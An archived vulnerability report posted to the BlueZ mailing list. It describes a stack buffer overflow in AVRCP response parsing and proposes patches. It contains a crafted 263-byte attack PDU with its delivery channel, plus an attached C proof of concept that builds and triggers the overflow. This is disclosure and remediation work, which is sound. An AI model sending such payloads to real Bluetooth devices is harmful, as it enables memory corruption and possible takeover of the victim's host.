Linux bluetooth development
 help / color / mirror / Atom feed
From: Rock <1720274440@qq.com>
To: linux-bluetooth <linux-bluetooth@vger.kernel.org>
Subject: [PATCH 0/1] avrcp: fix stack buffer overflow in avrcp_list_player_attributes_rsp
Date: Fri, 28 Aug 2026 07:29:50 +0800	[thread overview]
Message-ID: <tencent_789D8392465AC7DB2F6AE432F0D599EA2407@qq.com> (raw)


[-- Attachment #1.1: Type: text/plain, Size: 9878 bytes --]

## Summary


A stack buffer overflow exists in `avrcp_list_player_attributes_rsp()` in
`profiles/audio/avrcp.c`. An attacker-controlled `len` byte in an
AVRCP `LIST_PLAYER_ATTRIBUTES` response causes the function to write up
to 252 bytes past the end of a 4-byte stack buffer, corrupting the saved
frame pointer, return address, and adjacent stack state.


## Severity


- **CVSS v3.1 (proposed):** 6.8 / Medium-High
- **Vector:** AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CWE:** CWE-120 (Buffer Copy without Checking Size of Input)


Adjacent-network attacker (Bluetooth radio range). Paired as an AVRCP
controller, or via a BLUFF-class attack against an unpaired victim.
The vulnerability is reachable by any attacker who can deliver a
crafted L2CAP AVRCP response.


## Affected versions


- BlueZ 5.87 (latest release, 2026-07-07) — vulnerable
- All 5.x releases — likely vulnerable (untested)
- No fix in master as of 2026-08-27


## Location


`profiles/audio/avrcp.c`, function `avrcp_list_player_attributes_rsp()`,
lines 2393-2427:


```c
static gboolean avrcp_list_player_attributes_rsp(struct avctp *conn,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; uint8_t code,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; uint8_t subunit,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; uint8_t transaction,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; uint8_t *operands,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; size_t operand_count,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; void *user_data)
{
&nbsp; &nbsp; uint8_t attrs[AVRCP_ATTRIBUTE_LAST]; &nbsp; /* AVRCP_ATTRIBUTE_LAST = 0x04, so 4 bytes */
&nbsp; &nbsp; struct avrcp *session = user_data;
&nbsp; &nbsp; struct avrcp_header *pdu = (void *) operands;
&nbsp; &nbsp; uint8_t len, count = 0;
&nbsp; &nbsp; int i;


&nbsp; &nbsp; if (code == AVC_CTYPE_REJECTED || code == AVC_CTYPE_NOT_IMPLEMENTED)
&nbsp; &nbsp; &nbsp; &nbsp; return FALSE;


&nbsp; &nbsp; len = pdu-&gt;params[0]; &nbsp; /* attacker-controlled, uint8_t (0..255) */


&nbsp; &nbsp; if (be16_to_cpu(pdu-&gt;params_len) < count) {
&nbsp; &nbsp; &nbsp; &nbsp; error("Invalid parameters");
&nbsp; &nbsp; &nbsp; &nbsp; return FALSE;
&nbsp; &nbsp; }


&nbsp; &nbsp; for (i = 0; len &gt; 0; len--, i++) {
&nbsp; &nbsp; &nbsp; &nbsp; if (pdu-&gt;params[i + 1] == AVRCP_ATTRIBUTE_ILEGAL ||
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pdu-&gt;params[i + 1] &gt; AVRCP_ATTRIBUTE_LAST)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;


&nbsp; &nbsp; &nbsp; &nbsp; attrs[count++] = pdu-&gt;params[i + 1]; &nbsp; /* OOB write past attrs[4] */
&nbsp; &nbsp; }


&nbsp; &nbsp; avrcp_get_current_player_value(session, attrs, count);


&nbsp; &nbsp; return FALSE;
}
```


## Root cause


Three compounding issues:


1. `AVRCP_ATTRIBUTE_LAST = 0x04`, so `attrs[4]` is only **4 bytes**.
2. `len = pdu-&gt;params[0]` is attacker-controlled (uint8_t, 0..255).
3. The loop `for (i = 0; len &gt; 0; len--, i++)` iterates up to 255 times.
4. Each valid attribute byte increments `count`, writing to
&nbsp; &nbsp;`attrs[count++]` — no bound check on `count`.


The `if (be16_to_cpu(pdu-&gt;params_len) < count)` guard is a typo: `count`
is initialized to `0` and `params_len` is a uint16_t, so this
condition is **always false**. The original intent was almost certainly
`if (params_len < len + 1)` (verify the response carries at least
`len + 1` bytes of params).


## Stack effect


- `attrs[4]` → 4-byte stack buffer
- Up to 255 single-byte writes past the end of `attrs`
- Each write hits the next byte on the stack:
&nbsp; `attrs[5]` through `attrs[255]` — 252 bytes of stack overwrite
- This covers the saved frame pointer, return address, and any local
&nbsp; variables declared between `attrs` and the function epilogue.


## Trigger path


1. Victim device (the BlueZ host) sends `LIST_PLAYER_ATTRIBUTES`
&nbsp; &nbsp;request to a paired AVRCP target (headphones, speaker, etc.).
2. Attacker (controlling the target) replies with a crafted
&nbsp; &nbsp;`LIST_PLAYER_ATTRIBUTES` response:
&nbsp; &nbsp;- `params[0] &nbsp; = 0xFF` &nbsp; &nbsp; (the `len` byte)
&nbsp; &nbsp;- `params[1..255] = 0x01` &nbsp;(any byte in 1..4 range)
&nbsp; &nbsp;- `params_len &nbsp;= 0x0100` &nbsp; (256, big-endian)
3. BlueZ parses the response in `avrcp_list_player_attributes_rsp()`,
&nbsp; &nbsp;executes the vulnerable loop, and overwrites the stack.


An adjacent-network attacker can also exploit this via BLUFF
(Bluetooth Impersonation AttackS, 2023) against an unpaired victim.


## Proof of Concept (standalone, verified)


I produced a **standalone C reproduction** of the vulnerable function
and verified it with AddressSanitizer:


```bash
$ gcc -O0 -g -fsanitize=address -o poc_asan poc_avrcp.c
$ ./poc_asan
Built attack PDU of 263 bytes
params[0] = 0xff, params_len = 0x0100


=== Calling vulnerable function ===
=================================================================
==288977==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffee039a284
WRITE of size 1 at 0x7ffee039a284 thread T0
&nbsp; &nbsp; #0 0x5eac65d276e1 in vulnerable_avrcp_list_player_attributes_rsp poc_avrcp.c:62
&nbsp; This frame has 1 object(s):
&nbsp; &nbsp; [32, 36) 'attrs' (line 37) <== Memory access at offset 36 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow
```


The standalone reproduction is attached (`poc_avrcp.c`). It models only
the parsing logic of `avrcp_list_player_attributes_rsp` — the
avctp/D-Bus/session machinery is stripped because the vulnerability is
in the parsing loop itself, not the surrounding plumbing.


A full Bluetooth-stack reproducer (using `socket.AF_BLUETOOTH` or
`pybluez`) that drives a real L2CAP connection to a paired device is
available on request, but is intentionally withheld from this public
draft.


## Attack PDU bytes (for reference)


```
Header (7 bytes):
&nbsp; 00 19 58 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;company_id (IEEEID_BTSIG)
&nbsp; 0B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;pdu_id (LIST_PLAYER_ATTRIBUTES)
&nbsp; 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;packet_type=SINGLE, rsvd=0
&nbsp; 01 00 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; params_len = 256 (big-endian)


Params (256 bytes):
&nbsp; FF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;len = 255
&nbsp; 01 01 01 01 ... (255 bytes) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; any valid attribute 1..4
```


Total: 263 bytes. Send this as an AVRCP response over L2CAP PSM 0x0017
from a paired AVRCP target.


## Suggested fix


Three minimal options, in increasing order of robustness:


### Option 1 (one-line)


Add a bound check inside the loop:


```c
if (count &gt;= AVRCP_ATTRIBUTE_LAST)
&nbsp; &nbsp; break;
```


### Option 2 (also bounds-check the read)


```c
for (i = 0; len &gt; 0; len--, i++) {
&nbsp; &nbsp; if (i + 1 &gt;= be16_to_cpu(pdu-&gt;params_len) || i + 1 &gt;= operand_count)
&nbsp; &nbsp; &nbsp; &nbsp; break;
&nbsp; &nbsp; if (pdu-&gt;params[i + 1] == AVRCP_ATTRIBUTE_ILEGAL ||
&nbsp; &nbsp; &nbsp; &nbsp; pdu-&gt;params[i + 1] &gt; AVRCP_ATTRIBUTE_LAST)
&nbsp; &nbsp; &nbsp; &nbsp; continue;


&nbsp; &nbsp; if (count &gt;= AVRCP_ATTRIBUTE_LAST)
&nbsp; &nbsp; &nbsp; &nbsp; break;
&nbsp; &nbsp; attrs[count++] = pdu-&gt;params[i + 1];
}
```


### Option 3 (fix the broken guard)


The `if (be16_to_cpu(pdu-&gt;params_len) < count)` line is clearly
unintended — `count` starts at 0 and `params_len` is uint16. The
correct guard is something like:


```c
if (be16_to_cpu(pdu-&gt;params_len) < 1 ||
&nbsp; &nbsp; be16_to_cpu(pdu-&gt;params_len) - 1 < len) {
&nbsp; &nbsp; error("Invalid parameters");
&nbsp; &nbsp; return FALSE;
}
```


## Disclosure policy


This report is sent under the BlueZ project's standard process
(public, to linux-bluetooth@vger.kernel.org, since there is no
private reporting channel configured).


I have not publicly disclosed this vulnerability and will not do so
until BlueZ has cut a release with the fix and published a coordinated
advisory, or until 90 days from this report have elapsed, whichever
comes first.


I am willing to:


- Coordinate disclosure timing with your release schedule
- Provide a complete PoC reproducer (full Bluetooth stack) privately
- Submit a patch via `git-send-email` if useful
- Credit BlueZ in any public advisory text


Please let me know how you would like to proceed.


# Sender


xylove21 (GitHub: https://github.com/xylove21)


Rock
1720274440@qq.com

[-- Attachment #1.2: Type: text/html, Size: 37079 bytes --]

[-- Attachment #2: poc_avrcp.c --]
[-- Type: application/octet-stream, Size: 3090 bytes --]

/*
 * PoC for bluez AVRCP stack buffer overflow
 * (profiles/audio/avrcp.c: avrcp_list_player_attributes_rsp)
 *
 * Standalone reproduction of the vulnerable logic. Compile + run as
 * described below. This is the *function-level* repro: whether the
 * same logic in libbluetooth.so leads to RCE depends on stack layout
 * there.
 *
 *   gcc -O0 -fno-stack-protector -z execstack -o poc_avrcp poc_avrcp.c
 *   ./poc_avrcp
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <endian.h>

/* From bluez profiles/audio/avrcp.h */
#define AVRCP_ATTRIBUTE_ILEGAL    0x00
#define AVRCP_ATTRIBUTE_EQUALIZER 0x01
#define AVRCP_ATTRIBUTE_REPEAT_MODE 0x02
#define AVRCP_ATTRIBUTE_SHUFFLE    0x03
#define AVRCP_ATTRIBUTE_SCAN       0x04
#define AVRCP_ATTRIBUTE_LAST       AVRCP_ATTRIBUTE_SCAN  /* = 4 */

struct avrcp_header {
    uint8_t  company_id[3];
    uint8_t  pdu_id;
    uint8_t  packet_type_rsvd;
    uint16_t params_len;
    uint8_t  params[];
} __attribute__((packed));

static int vulnerable_avrcp_list_player_attributes_rsp(
    uint8_t code, uint8_t *operands, size_t operand_count, void *user_data)
{
    uint8_t attrs[AVRCP_ATTRIBUTE_LAST];  /* 4 bytes */
    struct avrcp_header *pdu = (void *) operands;
    uint8_t len, count = 0;
    int i;

    (void)user_data;
    (void)operand_count;

    if (code == 0x0A /* AVC_CTYPE_REJECTED */ ||
        code == 0x0B /* AVC_CTYPE_NOT_IMPLEMENTED */)
        return 0;

    len = pdu->params[0];

    /* The broken guard: count is 0, params_len is u16, so this never
     * triggers.  Real intent was likely `if (params_len < len + 1)`. */
    if (be16toh(pdu->params_len) < count) {
        fprintf(stderr, "Invalid parameters\n");
        return 0;
    }

    for (i = 0; len > 0; len--, i++) {
        if (pdu->params[i + 1] == AVRCP_ATTRIBUTE_ILEGAL ||
            pdu->params[i + 1] > AVRCP_ATTRIBUTE_LAST)
            continue;
        attrs[count++] = pdu->params[i + 1];
    }

    fprintf(stdout, "Post-overflow: count=%u, wrote %u bytes to attrs[4]\n",
            (unsigned)count, (unsigned)count);
    return 0;
}

static size_t build_attack_pdu(uint8_t *out, size_t out_size)
{
    struct avrcp_header *pdu = (void *)out;
    if (out_size < 7 + 256)
        return 0;
    pdu->company_id[0] = 0x00;
    pdu->company_id[1] = 0x19;
    pdu->company_id[2] = 0x58;
    pdu->pdu_id = 0x0B;  /* AVRCP_LIST_PLAYER_ATTRIBUTES */
    pdu->packet_type_rsvd = 0x00;
    pdu->params_len = htobe16(256);
    pdu->params[0] = 0xFF;  /* len = 255 */
    memset(pdu->params + 1, 0x01, 255);
    return 7 + 256;
}

int main(void)
{
    uint8_t buf[1024] = {0};
    size_t sz = build_attack_pdu(buf, sizeof(buf));
    fprintf(stdout, "Built attack PDU of %zu bytes\n", sz);
    fprintf(stdout, "params[0] = 0x%02x, params_len = 0x%02x%02x\n",
            buf[7], buf[5], buf[6]);

    fprintf(stdout, "\n=== Calling vulnerable function ===\n");
    fflush(stdout);
    vulnerable_avrcp_list_player_attributes_rsp(0x09, buf, sz, NULL);
    fprintf(stdout, "\n[OK] No crash — function returned normally.\n");
    return 0;
}

                 reply	other threads:[~2026-08-27 23:31 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=tencent_789D8392465AC7DB2F6AE432F0D599EA2407@qq.com \
    --to=1720274440@qq.com \
    --cc=linux-bluetooth@vger.kernel.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox